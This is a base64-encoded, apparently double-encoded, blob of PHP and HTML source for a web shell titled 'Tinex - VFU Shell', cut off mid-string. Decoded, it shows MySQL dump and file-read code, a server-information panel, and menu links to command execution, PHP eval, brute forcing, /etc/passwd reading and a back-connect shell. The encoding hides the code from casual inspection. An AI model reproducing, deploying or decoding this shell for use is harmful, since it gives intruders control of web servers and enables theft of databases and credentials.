Q3dnSkdSaWRYTmxjaXdnSkdSaWNHRnpjeXdnSkdSaWJtRnRaU3dnSkdOb1lYSnpaWFFzSUNSa1luQnZjblFwT3cwS0NTUjBZV0pzWlNBOUlHRnljbUY1WDJac2FYQW9KSFJoWW14bEtUc05DZ2trY21WemRXeDBJRDBnY1NnaVUwaFBWeUIwWVdKc1pYTWlLVHNOQ2dscFppQW9JU1J5WlhOMWJIUXBJSEFvSnp4b01qNG5MbTE1YzNGc1gyVnljbTl5S0NrdUp6d3ZhREkrSnlrN0RRb0pKR1pwYkdWdVlXMWxJRDBnWW1GelpXNWhiV1VvSkY5VFJWSldSVkpiSjBoVVZGQmZTRTlUVkNkZExpZGZUWGxUVVV3dWMzRnNKeWs3RFFvSmFHVmhaR1Z5S0NkRGIyNTBaVzUwTFhSNWNHVTZJR0Z3Y0d4cFkyRjBhVzl1TDNWdWEyNXZkMjRuS1RzTkNnbG9aV0ZrWlhJb0owTnZiblJsYm5RdFJHbHpjRzl6YVhScGIyNDZJR0YwZEdGamFHMWxiblE3SUdacGJHVnVZVzFsUFNjdUpHWnBiR1Z1WVcxbEtUc05DZ2trYlhsemNXeGtZWFJoSUQwZ0p5YzdEUW9KZDJocGJHVWdLQ1JqZFhKeWIzY2dQU0J0ZVhOeGJGOW1aWFJqYUY5aGNuSmhlU2drY21WemRXeDBLU2tnZXcwS0NRbHBaaUFvYVhOelpYUW9KSFJoWW14bFd5UmpkWEp5YjNkYk1GMWRLU2tnZXcwS0NRa0pKRzE1YzNGc1pHRjBZU0F1UFNCemNXeGtkVzF3ZEdGaWJHVW9KR04xY25KdmQxc3dYU2s3RFFvSkNYME5DZ2w5RFFvSmJYbHpjV3hmWTJ4dmMyVW9LVHNOQ2dsbGVHbDBPdzBLZlEwS0RRb3ZMeUJOZVhOeGJBMEthV1lvSkdSdmFXNW5QVDBuYlhsemNXeGtiM2R1SnlsN0RRb0phV1lnS0NFa1pHSnVZVzFsS1NCN0RRb0pDU1JsY25KdGMyY2dQU0FuVUd4bFlYTmxJR2x1Y0hWMElHUmlibUZ0WlNjN0RRb0pmU0JsYkhObElIc05DZ2tKWkdKamIyNXVLQ1JrWW1odmMzUXNJQ1JrWW5WelpYSXNJQ1JrWW5CaGMzTXNJQ1JrWW01aGJXVXNJQ1JqYUdGeWMyVjBMQ0FrWkdKd2IzSjBLVHNOQ2drSmFXWWdLQ0ZtYVd4bFgyVjRhWE4wY3lna2JYbHpjV3hrYkdacGJHVXBLU0I3RFFvSkNRa2taWEp5YlhObklEMGdKMVJvWlNCbWFXeGxJSGx2ZFNCM1lXNTBJRVJ2ZDI1c2IyRmtZV0pzWlNCM1lYTWdibTl1WlhocGMzUmxiblFuT3cwS0NRbDlJR1ZzYzJVZ2V3MEtDUWtKSkhKbGMzVnNkQ0E5SUhFb0luTmxiR1ZqZENCc2IyRmtYMlpwYkdVb0p5UnRlWE54YkdSc1ptbHNaU2NwT3lJcE93MEtDUWtKYVdZb0lTUnlaWE4xYkhRcGV3MEtDUWtKQ1hFb0lrUlNUMUFnVkVGQ1RFVWdTVVlnUlZoSlUxUlRJSFJ0Y0Y5aGJtZGxiRHNpS1RzTkNna0pDUWx4S0NKRFVrVkJWRVVnVkVGQ1RFVWdkRzF3WDJGdVoyVnNJQ2hqYjI1MFpXNTBJRXhQVGtkQ1RFOUNJRTVQVkNCT1ZVeE1LVHNpS1RzTkNna0pDUWt2TDBSdmQyNXNiMkZrSUZOUlRBMEtDUWtKQ1hFb0lreFBRVVFnUkVGVVFTQk1UME5CVENCSlRrWkpURVVnSnlJdVlXUmtjMnhoYzJobGN5Z2tiWGx6Y1d4a2JHWnBiR1VwTGlJbklFbE9WRThnVkVGQ1RFVWdkRzF3WDJGdVoyVnNJRVpKUlV4RVV5QlVSVkpOU1U1QlZFVkVJRUpaSUNkZlgyRnVaMlZzWDNza2RHbHRaWE4wWVcxd2ZWOWxiMlpmWHljZ1JWTkRRVkJGUkNCQ1dTQW5KeUJNU1U1RlV5QlVSVkpOU1U1QlZFVkVJRUpaSUNkZlgyRnVaMlZzWDNza2RHbHRaWE4wWVcxd2ZWOWxiMlpmWHljN0lpazdEUW9KQ1FrSkpISmxjM1ZzZENBOUlIRW9Jbk5sYkdWamRDQmpiMjUwWlc1MElHWnliMjBnZEcxd1gyRnVaMlZzSWlrN0RRb0pDUWtKY1NnaVJGSlBVQ0JVUVVKTVJTQjBiWEJmWVc1blpXd2lLVHNOQ2drSkNYME5DZ2tKQ1NSeWIzY2dQU0JBYlhsemNXeGZabVYwWTJoZllYSnlZWGtvSkhKbGMzVnNkQ2s3RFFvSkNRbHBaaUFvSVNSeWIzY3BJSHNOQ2drSkNRa2taWEp5YlhObklEMGdKMHh2WVdRZ1ptbHNaU0JtWVdsc1pXUWdKeTV0ZVhOeGJGOWxjbkp2Y2lncE93MEtDUWtKZlNCbGJITmxJSHNOQ2drSkNRa2tabWxzWldsdVptOGdQU0J3WVhSb2FXNW1ieWdrYlhsemNXeGtiR1pwYkdVcE93MEtDUWtKQ1dobFlXUmxjaWduUTI5dWRHVnVkQzEwZVhCbE9pQmhjSEJzYVdOaGRHbHZiaTk0TFNjdUpHWnBiR1ZwYm1adld5ZGxlSFJsYm5OcGIyNG5YU2s3RFFvSkNRa0phR1ZoWkdWeUtDZERiMjUwWlc1MExVUnBjM0J2YzJsMGFXOXVPaUJoZEhSaFkyaHRaVzUwT3lCbWFXeGxibUZ0WlQwbkxpUm1hV3hsYVc1bWIxc25ZbUZ6Wlc1aGJXVW5YU2s3RFFvSkNRa0phR1ZoWkdWeUtDSkJZMk5sY0hRdFRHVnVaM1JvT2lBaUxuTjBjbXhsYmlna2NtOTNXekJkS1NrN0RRb0pDUWtKWldOb2J5QWtjbTkzV3pCZE93MEtDUWtKQ1dWNGFYUTdEUW9KQ1FsOURRb0pDWDBOQ2dsOURRcDlEUW9OQ2o4K0RRb05DanhvZEcxc1BnMEtQR2hsWVdRK0RRbzhiV1YwWVNCb2RIUndMV1Z4ZFdsMlBTSkRiMjUwWlc1MExWUjVjR1VpSUdOdmJuUmxiblE5SW5SbGVIUXZhSFJ0YkRzZ1kyaGhjbk5sZEQxMWRHWXRPQ0krRFFvOGRHbDBiR1UrUEQ5d2FIQWdaV05vYnlCemRISmZjbVZ3YkdGalpTZ25MaWNzSnljc0p5NDZPbHNnSUZScGJtVjRJQzBnVmtaVklGTm9aV3hzSUYwNk9pNG5LVHMvUGp3dmRHbDBiR1UrRFFvOGMzUjViR1VnZEhsd1pUMGlkR1Y0ZEM5amMzTWlQZzBLWW05a2VTeDBaSHRtYjI1ME9pQXhNSEIwSUZSaGFHOXRZVHRqYjJ4dmNqcG5jbUY1TzJ4cGJtVXRhR1ZwWjJoME9pQXhObkI0TzMwTkNnMEtZU0I3WTI5c2IzSTZJQ00zTkVFeU1ESTdkR1Y0ZEMxa1pXTnZjbUYwYVc5dU9tNXZibVU3ZlEwS1lUcG9iM1psY250amIyeHZjam9nSTJZd01EdDBaWGgwTFdSbFkyOXlZWFJwYjI0NmRXNWtaWEpzYVc1bE8zME5DaTVoYkhReElIUmtlMkp2Y21SbGNpMTBiM0E2TVhCNElITnZiR2xrSUdkeVlYazdZbTl5WkdWeUxXSnZkSFJ2YlRveGNIZ2djMjlzYVdRZ1ozSmhlVHRpWVdOclozSnZkVzVrT2lNd1JUQkZNRVU3Y0dGa1pHbHVaem8xY0hnZ01UQndlQ0ExY0hnZ05YQjRPMzBOQ2k1aGJIUXlJSFJrZTJKdmNtUmxjaTEwYjNBNk1YQjRJSE52Ykdsa0lHZHlZWGs3WW05eVpHVnlMV0p2ZEhSdmJUb3hjSGdnYzI5c2FXUWdaM0poZVR0aVlXTnJaM0p2ZFc1a09pTm1PV1k1WmprN2NHRmtaR2x1WnpvMWNIZ2dNVEJ3ZUNBMWNIZ2dOWEI0TzMwTkNpNW1iMk4xY3lCMFpIdGliM0prWlhJdGRHOXdPakZ3ZUNCemIyeHBaQ0JuY21GNU8ySnZjbVJsY2kxaWIzUjBiMjA2TUhCNElITnZiR2xrSUdkeVlYazdZbUZqYTJkeWIzVnVaRG9qTUVVd1JUQkZPM0JoWkdScGJtYzZOWEI0SURFd2NIZ2dOWEI0SURWd2VEdDlEUW91Wm05MWRERWdkR1I3WW05eVpHVnlMWFJ2Y0RveGNIZ2djMjlzYVdRZ1ozSmhlVHRpYjNKa1pYSXRZbTkwZEc5dE9qQndlQ0J6YjJ4cFpDQm5jbUY1TzJKaFkydG5jbTkxYm1RNkl6QkZNRVV3UlR0d1lXUmthVzVuT2pWd2VDQXhNSEI0SURWd2VDQTFjSGc3ZlEwS0xtWnZkWFFnZEdSN1ltOXlaR1Z5TFhSdmNEb3hjSGdnYzI5c2FXUWdaM0poZVR0aWIzSmtaWEl0WW05MGRHOXRPakJ3ZUNCemIyeHBaQ0JuY21GNU8ySmhZMnRuY205MWJtUTZJekl3TWpBeU1EdHdZV1JrYVc1bk9qVndlQ0F4TUhCNElEVndlQ0ExY0hnN2ZRMEtMbWhsWVdRZ2RHUjdZbTl5WkdWeUxYUnZjRG94Y0hnZ2MyOXNhV1FnWjNKaGVUdGliM0prWlhJdFltOTBkRzl0T2pGd2VDQnpiMnhwWkNCbmNtRjVPMkpoWTJ0bmNtOTFibVE2SXpJd01qQXlNRHR3WVdSa2FXNW5PalZ3ZUNBeE1IQjRJRFZ3ZUNBMWNIZzdabTl1ZEMxM1pXbG5hSFE2WW05c1pEdDlEUW91YUdWaFpGOXpiV0ZzYkNCMFpIdGliM0prWlhJdGRHOXdPakZ3ZUNCemIyeHBaQ0JuY21GNU8ySnZjbVJsY2kxaWIzUjBiMjA2TVhCNElITnZiR2xrSUdkeVlYazdZbUZqYTJkeWIzVnVaRG9qTWpBeU1ESXdPM0JoWkdScGJtYzZOWEI0SURFd2NIZ2dOWEI0SURWd2VEdG1iMjUwTFhkbGFXZG9kRHB1YjNKdFlXdzdabTl1ZEMxemFYcGxPamh3ZER0OURRb3VhR1ZoWkNCMFpDQnpjR0Z1ZTJadmJuUXRkMlZwWjJoME9tNXZjbTFoYkR0OURRcG1iM0p0ZTIxaGNtZHBiam93TzNCaFpHUnBibWM2TUR0OURRcG9NbnR0WVhKbmFXNDZNRHR3WVdSa2FXNW5PakE3YUdWcFoyaDBPakkwY0hnN2JHbHVaUzFvWldsbmFIUTZNalJ3ZUR0bWIyNTBMWE5wZW1VNk1UUndlRHRqYjJ4dmNqb2pOVUkyT0RaR08zME5DblZzTG1sdVptOGdiR2w3YldGeVoybHVPakE3WTI5c2IzSTZJelEwTkR0c2FXNWxMV2hsYVdkb2REb3lOSEI0TzJobGFXZG9kRG95TkhCNE8zME5DblY3ZEdWNGRDMWtaV052Y21GMGFXOXVPaUJ1YjI1bE8yTnZiRzl5T2lNM056YzdabXh2WVhRNmJHVm1kRHRrYVhOd2JHRjVPbUpzYjJOck8zZHBaSFJvT2pFMU1IQjRPMjFoY21kcGJpMXlhV2RvZERveE1IQjRPMzBOQ21sdWNIVjBMQ0IwWlhoMFlYSmxZU3dnWW5WMGRHOXVEUXA3RFFvSlptOXVkQzF6YVhwbE9pQTVjSFE3RFFvSlkyOXNiM0k2SUNOalkyTTdEUW9KWm05dWRDMW1ZVzFwYkhrNklIWmxjbVJoYm1Fc0lITmhibk10YzJWeWFXWTdEUW9KWW1GamEyZHliM1Z1WkMxamIyeHZjam9nSXpJd01qQXlNRHNOQ2dsaWIzSmtaWEl0YkdWbWREb2dNWEI0SUhOdmJHbGtJQ00zTkVFeU1ESTdEUW9KWW05eVpHVnlMWFJ2Y0RvZ01YQjRJSE52Ykdsa0lDTTNORUV5TURJN0RRb0pZbTl5WkdWeUxYSnBaMmgwT2lBeGNIZ2djMjlzYVdRZ0l6YzBRVEl3TWpzTkNnbGliM0prWlhJdFltOTBkRzl0T2lBeGNIZ2djMjlzYVdRZ0l6YzBRVEl3TWpzTkNuME5Dbk5sYkdWamRBMEtldzBLQ1dadmJuUXRjMmw2WlRvZ09IQjBPdzBLQ1dadmJuUXRkMlZwWjJoME9pQnViM0p0WVd3N0RRb0pZMjlzYjNJNklDTmpZMk03RFFvSlptOXVkQzFtWVcxcGJIazZJSFpsY21SaGJtRXNJSE5oYm5NdGMyVnlhV1k3RFFvSlltRmphMmR5YjNWdVpDMWpiMnh2Y2pvZ0l6SXdNakF5TURzTkNuME5DZzBLUEM5emRIbHNaVDROQ2p4elkzSnBjSFFnZEhsd1pUMGlkR1Y0ZEM5cVlYWmhjMk55YVhCMElqNE5DbVoxYm1OMGFXOXVJRU5vWldOclFXeHNLR1p2Y20wcElIc05DZ2xtYjNJb2RtRnlJR2s5TUR0cFBHWnZjbTB1Wld4bGJXVnVkSE11YkdWdVozUm9PMmtyS3lrZ2V3MEtDUWwyWVhJZ1pTQTlJR1p2Y20wdVpXeGxiV1Z1ZEhOYmFWMDdEUW9KQ1dsbUlDaGxMbTVoYldVZ0lUMGdKMk5vYTJGc2JDY3BEUW9KQ1dVdVkyaGxZMnRsWkNBOUlHWnZjbTB1WTJocllXeHNMbU5vWldOclpXUTdEUW9nSUNBZ2ZRMEtmUTBLWm5WdVkzUnBiMjRnSkNocFpDa2dldzBLQ1hKbGRIVnliaUJrYjJOMWJXVnVkQzVuWlhSRmJHVnRaVzUwUW5sSlpDaHBaQ2s3RFFwOURRcG1kVzVqZEdsdmJpQm5iMkZqZEdsdmJpaGhZM1FwZXcwS0NTUW9KMmR2WVdOMGFXOXVKeWt1WVdOMGFXOXVMblpoYkhWbFBXRmpkRHNOQ2dra0tDZG5iMkZqZEdsdmJpY3BMbk4xWW0xcGRDZ3BPdzBLZlEwS1BDOXpZM0pwY0hRK0RRbzhMMmhsWVdRK0RRbzhZbTlrZVNCdmJreHZZV1E5SW1sdWFYUW9LU0lnYzNSNWJHVTlJbTFoY21kcGJqb3dPM1JoWW14bExXeGhlVzkxZERwbWFYaGxaRHNnZDI5eVpDMWljbVZoYXpwaWNtVmhheTFoYkd3aUlHSm5ZMjlzYjNJOVlteGhZMnNnWW1GamEyZHliM1Z1WkQxb2RIUndPaTh2YVRNNE1pNXdhRzkwYjJKMVkydGxkQzVqYjIwdllXeGlkVzF6TDI5dk1qWXpMM1p1YUdGamEyVnlMMkpuTFRFdWFuQm5QZzBLRFFvTkNqeGthWFlnWW05eVpHVnlQU0l3SWlCemRIbHNaVDBpY0c5emFYUnBiMjQ2Wm1sNFpXUTdJSGRwWkhSb09pQXhNREFsT3lCb1pXbG5hSFE2SURJMWNIZzdJSG90YVc1a1pYZzZJREU3SUhSdmNEb2dNekF3Y0hnN0lHeGxablE2SURBN0lpQnBaRDBpYkc5aFpHbHVaeUlnWVd4cFoyNDlJbU5sYm5SbGNpSWdkbUZzYVdkdVBTSmpaVzUwWlhJaVBnMEtDUWtKQ1R4MFlXSnNaU0JpYjNKa1pYSTlJakVpSUhkcFpIUm9QU0l4TVRCd2VDSWdZMlZzYkhOd1lXTnBibWM5SWpBaUlHTmxiR3h3WVdSa2FXNW5QU0l3SWlCemRIbHNaVDBpWW05eVpHVnlMV052Ykd4aGNITmxPaUJqYjJ4c1lYQnpaU0lnWW05eVpHVnlZMjlzYjNJOUlpTXdNRE16TURBaVBnMEtDUWtKQ1FrOGRISStEUW9OQ2drSkNRa0pDVHgwWkNCaGJHbG5iajBpWTJWdWRHVnlJaUIyWVd4cFoyNDlZMlZ1ZEdWeVBnMEtDUWtKQ1NBOFpHbDJJR0p2Y21SbGNqMGlNU0lnYzNSNWJHVTlJbUpoWTJ0bmNtOTFibVF0WTI5c2IzSTZJQ013UlRCRk1FVTdJR1pwYkhSbGNqb2dZV3h3YUdFb2IzQmhZMmwwZVQwM01DazdJRzl3WVdOcGRIazZJQzQzT3lCM2FXUjBhRG9nTVRFd2NIZzdJR2hsYVdkb2REb2dNalZ3ZURzZ2VpMXBibVJsZURvZ01Uc2dZbTl5WkdWeUxXTnZiR3hoY0hObE9pQmpiMnhzWVhCelpUc2lJR0p2Y21SbGNtTnZiRzl5UFNJak1EQTJOakF3SWlBZ1lXeHBaMjQ5SW1ObGJuUmxjaUkrRFFvSkNRa0pJQ0FnVEc5aFpHbHVaenhwYldjZ2MzSmpQU0pvZEhSd09pOHZZVzUwYVMxdVpYUjNiM0pyTG01bGRDOWhiR2t1YW5CbklqNE5DZ2tKQ1FrZ0lEd3ZaR2wyUGcwS0NRa0pDVHd2ZEdRK0RRb0pDUWtKQ1R3dmRISStEUW9KQ1FrSlBDOTBZV0pzWlQ0TkNna0pDU0E4TDJScGRqNE5DZzBLSUR4elkzSnBjSFErRFFvZ2RtRnlJR3hrUFNoa2IyTjFiV1Z1ZEM1aGJHd3BPdzBLSUNCMllYSWdibk0wUFdSdlkzVnRaVzUwTG14aGVXVnljenNOQ2lCMllYSWdibk0yUFdSdlkzVnRaVzUwTG1kbGRFVnNaVzFsYm5SQ2VVbGtKaVloWkc5amRXMWxiblF1WVd4c093MEtJSFpoY2lCcFpUUTlaRzlqZFcxbGJuUXVZV3hzT3cwS0lDQnBaaUFvYm5NMEtRMEtJQWxzWkQxa2IyTjFiV1Z1ZEM1c2IyRmthVzVuT3cwS0lHVnNjMlVnYVdZZ0tHNXpOaWtOQ2lBSmJHUTlaRzlqZFcxbGJuUXVaMlYwUld4bGJXVnVkRUo1U1dRb0lteHZZV1JwYm1jaUtTNXpkSGxzWlRzTkNpQmxiSE5sSUdsbUlDaHBaVFFwRFFvZ0NXeGtQV1J2WTNWdFpXNTBMbUZzYkM1c2IyRmthVzVuTG5OMGVXeGxPdzBLSUNCbWRXNWpkR2x2YmlCcGJtbDBLQ2tOQ2lCN0RRb2dhV1lvYm5NMEtYdHNaQzUyYVhOcFltbHNhWFI1UFNKb2FXUmtaVzRpTzMwTkNpQmxiSE5sSUdsbUlDaHVjelo4ZkdsbE5Da2diR1F1WkdsemNHeGhlVDBpYm05dVpTSTdEUW9nZlEwS0lEd3ZjMk55YVhCMFBnMEtEUW9OQ2cwS0RRbzhkR0ZpYkdVZ2QybGtkR2c5SWpFd01DVWlJR0p2Y21SbGNqMGlNQ0lnWTJWc2JIQmhaR1JwYm1jOUlqQWlJR05sYkd4emNHRmphVzVuUFNJd0lqNE5DZ2s4ZEhJZ1kyeGhjM005SW1obFlXUmZjMjFoYkd3aVBnMEtDUWs4ZEdRZ0lIZHBaSFJvUFRFd01DVStEUW9KQ1R4MFlXSnNaU0IzYVdSMGFEMHhNREFsUGp4MGNpQmpiR0Z6Y3owaWFHVmhaRjl6YldGc2JDSStQSFJrSUNCM2FXUjBhRDA0Tm5CNFBqeGhJSFJwZEd4bFBTSldUaUJvWVdOclpYSWlJR2h5WldZOUlqdy9jR2h3SUNSelpXeG1PejgrSWo0OGFXMW5JSE55WXoxb2RIUndPaTh2WTBNMUxuVndZVzVvTG1OdmJTOHlOeTR5TURVdU16UTBOall4TnpRdVJqaHpNQzlzYjJkdmRtWjFMbkJ1WnlCb1pXbG5hSFE5T0RZZ1ltOXlaR1Z5UFRBK1BDOWhQand2ZEdRK1BIUmtQZzBLQ1FrOGMzQmhiaUJ6ZEhsc1pUMGlabXh2WVhRNmJHVm1kRHNpUGlBOFAzQm9jQ0JsWTJodklDSkliM04wYm1GdFpUb2dJaTRrWDFORlVsWkZVbHNuU0ZSVVVGOUlUMU5VSjEwdUlpSTdQejRnSUh3Z1BHRWdhSEpsWmowaWFIUjBjRG92TDNabWRTNWpZeUlnZEdGeVoyVjBQU0pmWW14aGJtc2lQancvY0dod0lHVmphRzhnYzNSeVgzSmxjR3hoWTJVb0p5NG5MQ2NuTENjdU9qcGJJQ0JVYVc1bGVDQXRJRlpwWlhRZ1JtRnRhV3g1SUZWdVpHVnlSM0p2ZFhBZ1hUbzZMaWNwT3o4K0lEd3ZZVDRnZkNBOFlTQm9jbVZtUFNKcVlYWmhjMk55YVhCME9tZHZZV04wYVc5dUtDZHNiMmR2ZFhRbktUc2lQanhtYjI1MElHTnZiRzl5UFhKbFpENU1iMmR2ZFhROEwyWnZiblErUEM5aFBqd3ZjM0JoYmo0Z1BHSnlJQzgrRFFvTkNna0pQRDl3YUhBTkNna0pKR04xY214ZmIyNGdQU0JBWm5WdVkzUnBiMjVmWlhocGMzUnpLQ2RqZFhKc1gzWmxjbk5wYjI0bktUc05DZ2tKSkcxNWMzRnNYMjl1SUQwZ1FHWjFibU4wYVc5dVgyVjRhWE4wY3lnbmJYbHpjV3hmWTI5dWJtVmpkQ2NwT3cwS0NRa2tiWE56Y1d4ZmIyNGdQU0JBWm5WdVkzUnBiMjVmWlhocGMzUnpLQ2R0YzNOeGJGOWpiMjV1WldOMEp5azdEUW9KQ1NSd1oxOXZiaUE5SUVCbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjNCblgyTnZibTVsWTNRbktUc05DZ2tKSkc5eVlWOXZiaUE5SUVCbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjI5amFXeHZaMjl1SnlrN0RRb05DbVZqYUc4Z0tDZ2tjMkZtWlY5dGIyUmxLVDhvSWxOaFptVmZiVzlrT2lBOFlqNDhabTl1ZENCamIyeHZjajFuY21WbGJqNVBUand2Wm05dWRENDhMMkkrSUMwZ0lpazZLQ0pUWVdabFgyMXZaRG9nUEdJK1BHWnZiblFnWTI5c2IzSTljbVZrUGs5R1Jqd3ZabTl1ZEQ0OEwySStJQzBnSWlrcE93MEtaV05vYnlBaVVFaFFJSFpsY25OcGIyNDZJRHhpUGlJdVFIQm9jSFpsY25OcGIyNG9LUzRpUEM5aVBpQXRJQ0k3RFFvSkNXVmphRzhnSW1OVlVrdzZJQ0l1S0Nna1kzVnliRjl2YmlrL0tDSThZajQ4Wm05dWRDQmpiMnh2Y2oxbmNtVmxiajVQVGp3dlptOXVkRDQ4TDJJK0lDMGdJaWs2S0NJOFlqNDhabTl1ZENCamIyeHZjajF5WldRK1QwWkdQQzltYjI1MFBqd3ZZajRnTFNBaUtTazdEUW9KQ1dWamFHOGdJazE1VTFGTU9pQThZajRpT3cwS0pHMTVjM0ZzWDI5dUlEMGdRR1oxYm1OMGFXOXVYMlY0YVhOMGN5Z25iWGx6Y1d4ZlkyOXVibVZqZENjcE93MEthV1lvSkcxNWMzRnNYMjl1S1hzTkNtVmphRzhnSWp4bWIyNTBJR052Ykc5eVBXZHlaV1Z1UGs5T1BDOW1iMjUwUGp3dllqNGdMU0FpT3lCOUlHVnNjMlVnZXlCbFkyaHZJQ0k4Wm05dWRDQmpiMnh2Y2oxeVpXUStUMFpHUEM5bWIyNTBQand2WWo0Z0xTQWlPeUI5RFFwbFkyaHZJQ0pOVTFOUlREb2dQR0krSWpzTkNpUnRjM054YkY5dmJpQTlJRUJtZFc1amRHbHZibDlsZUdsemRITW9KMjF6YzNGc1gyTnZibTVsWTNRbktUc05DbWxtS0NSdGMzTnhiRjl2YmlsN1pXTm9ieUFpUEdadmJuUWdZMjlzYjNJOVozSmxaVzQrVDA0OEwyWnZiblErUEM5aVBpQXRJQ0k3ZldWc2MyVjdaV05vYnlBaVBHWnZiblFnWTI5c2IzSTljbVZrUGs5R1Jqd3ZabTl1ZEQ0OEwySStJQzBnSWp0OURRcGxZMmh2SUNKUWIzTjBaM0psVTFGTU9pQThZajRpT3cwS0pIQm5YMjl1SUQwZ1FHWjFibU4wYVc5dVgyVjRhWE4wY3lnbmNHZGZZMjl1Ym1WamRDY3BPdzBLYVdZb0pIQm5YMjl1S1h0bFkyaHZJQ0k4Wm05dWRDQmpiMnh2Y2oxbmNtVmxiajVQVGp3dlptOXVkRDQ4TDJJK0lDMGdJanQ5Wld4elpYdGxZMmh2SUNJOFptOXVkQ0JqYjJ4dmNqMXlaV1ErVDBaR1BDOW1iMjUwUGp3dllqNGdMU0FpTzMwTkNtVmphRzhnSWs5eVlXTnNaVG9nUEdJK0lqc05DaVJ2Y21GZmIyNGdQU0JBWm5WdVkzUnBiMjVmWlhocGMzUnpLQ2R2WTJsc2IyZHZiaWNwT3cwS2FXWW9KRzl5WVY5dmJpbDdaV05vYnlBaVBHWnZiblFnWTI5c2IzSTlaM0psWlc0K1QwNDhMMlp2Ym5RK1BDOWlQaUk3ZldWc2MyVjdaV05vYnlBaVBHWnZiblFnWTI5c2IzSTljbVZrUGs5R1Jqd3ZabTl1ZEQ0OEwySStQRUpTUGlJN2ZRMEtEUXBsWTJodklDSkVhWE5oWW14bElHWjFibU4wYVc5dWN5QTZJRHhpUGlJN0RRcHBaaWduSnowOUtDUmtaajFBYVc1cFgyZGxkQ2duWkdsellXSnNaVjltZFc1amRHbHZibk1uS1NrcGUyVmphRzhnSWp4bWIyNTBJR052Ykc5eVBXZHlaV1Z1UGs1UFRrVThMMlp2Ym5RK1BDOWlQanhDVWo0aU8zMWxiSE5sZTJWamFHOGdJanhtYjI1MElHTnZiRzl5UFhKbFpENGtaR1k4TDJadmJuUStQQzlpUGp4Q1VqNGlPMzBOQ2cwS1pXTm9ieUFpUEdadmJuUWdZMjlzYjNJOWQyaHBkR1UrVlc1aGJXVWdMV0U4TDJadmJuUStPaUFpTGtCemRXSnpkSElvUUhCb2NGOTFibUZ0WlNncExEQXNNVEl3S1M0aVBHSnlQaUk3RFFwbFkyaHZJQ0k4Wm05dWRDQmpiMnh2Y2oxM2FHbDBaVDVUWlhKMlpYSThMMlp2Ym5RK09pQWlMa0J6ZFdKemRISW9KRk5GVWxaRlVsOVRUMFpVVjBGU1JTd3dMREV5TUNrdUlpQXRJRHhtYjI1MElHTnZiRzl5UFhkb2FYUmxQbWxrUEM5bWIyNTBQam9nSWk1QVoyVjBiWGwxYVdRb0tTNGlLQ0l1UUdkbGRGOWpkWEp5Wlc1MFgzVnpaWElvS1M0aUtTQXRJSFZwWkQwaUxrQm5aWFJ0ZVhWcFpDZ3BMaUlnS0NJdVFHZGxkRjlqZFhKeVpXNTBYM1Z6WlhJb0tTNGlLU0JuYVdROUlpNUFaMlYwYlhsbmFXUW9LUzRpS0NJdVFHZGxkRjlqZFhKeVpXNTBYM1Z6WlhJb0tTNGlLVHhpY2o0aU93MEtDUWsvUGcwS0NRazhMM1JrUGp3dmRISStQQzkwWVdKc1pUNDhMM1JrUGcwS0RRb0pQQzkwY2o0TkNnazhkSElnWTJ4aGMzTTlJbUZzZERFaVBnMEtDUWs4ZEdRZ0lIZHBaSFJvUFRFd0pUNDhjM0JoYmlCemRIbHNaVDBpWm14dllYUTZiR1ZtZERzaVBsdFRaWEoyWlhJZ1NWQTZJRHcvY0dod0lHVmphRzhnSWp4bWIyNTBJR052Ykc5eVBYbGxiR3h2ZHo0aUxtZGxkR2h2YzNSaWVXNWhiV1VvSkY5VFJWSldSVkpiSjFORlVsWkZVbDlPUVUxRkoxMHBMaUk4TDJadmJuUStJanMvUGlBdElGbHZkWElnU1ZBNklEdy9jR2h3SUdWamFHOGdJanhtYjI1MElHTnZiRzl5UFhsbGJHeHZkejRpTGlSZlUwVlNWa1ZTV3lkU1JVMVBWRVZmUVVSRVVpZGRMaUk4TDJadmJuUStJanMvUGwwZ1BDOXpjR0Z1UGlBZ0lEeGljaUF2UGcwS0xTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzA4WW5JZ0x6NE5DZ2tKQ1EwS0NRa0pQR0VnYUhKbFpqMGlhbUYyWVhOamNtbHdkRHBuYjJGamRHbHZiaWduWm1sc1pTY3BPeUkrUm1sc1pTQk5ZVzVoWjJWeVBDOWhQaUI4RFFvSkNRazhZU0JvY21WbVBTSnFZWFpoYzJOeWFYQjBPbWR2WVdOMGFXOXVLQ2R6Y1d4aFpHMXBiaWNwT3lJK1RYbFRVVXdnVFdGdVlXZGxjand2WVQ0Z2ZBMEtDUWtKUEdFZ2FISmxaajBpYW1GMllYTmpjbWx3ZERwbmIyRmpkR2x2YmlnbmMzRnNabWxzWlNjcE95SStUWGxUVVV3Z1ZYQnNiMkZrSUNaaGJYQTdJRVJ2ZDI1c2IyRmtQQzloUGlCOERRb0pDUWs4WVNCb2NtVm1QU0pxWVhaaGMyTnlhWEIwT21kdllXTjBhVzl1S0NkemFHVnNiQ2NwT3lJK1JYaGxZM1YwWlNCRGIyMXRZVzVrUEM5aFBpQjhEUW9KQ1FrOFlTQm9jbVZtUFNKcVlYWmhjMk55YVhCME9tZHZZV04wYVc5dUtDZHdhSEJsYm5ZbktUc2lQbEJJVUNCV1lYSnBZV0pzWlR3dllUNGdmQTBLQ1FrSlBHRWdhSEpsWmowaWFtRjJZWE5qY21sd2REcG5iMkZqZEdsdmJpZ25aWFpoYkNjcE95SStSWFpoYkNCUVNGQWdRMjlrWlR3dllUNE5DZzBLQ1FrSlBEOXdhSEFnYVdZZ0tDRkpVMTlYU1U0cElIcy9QaUI4SUR4aElHaHlaV1k5SW1waGRtRnpZM0pwY0hRNloyOWhZM1JwYjI0b0oySnlkWFJsSnlrN0lqNUNjblYwWlR3dllUNGdQRDl3YUhBZ2ZUOCtEUW9KQ1FrOFAzQm9jQ0JwWmlBb0lVbFRYMWRKVGlrZ2V6OCtJSHdnUEdFZ2FISmxaajBpYW1GMllYTmpjbWx3ZERwbmIyRmpkR2x2YmlnblpYUmpjSGRrSnlrN0lqNHZaWFJqTDNCaGMzTjNaRHd2WVQ0Z1BEOXdhSEFnZlQ4K0RRb0pDUWs4UDNCb2NDQnBaaUFvSVVsVFgxZEpUaWtnZXo4K0lId2dQR0VnYUhKbFpqMGlhbUYyWVhOamNtbHdkRHBuYjJGamRHbHZiaWduWW1GamEyTnZibTVsWTNRbktUc2lQa0poWTJzZ1EyOXVibV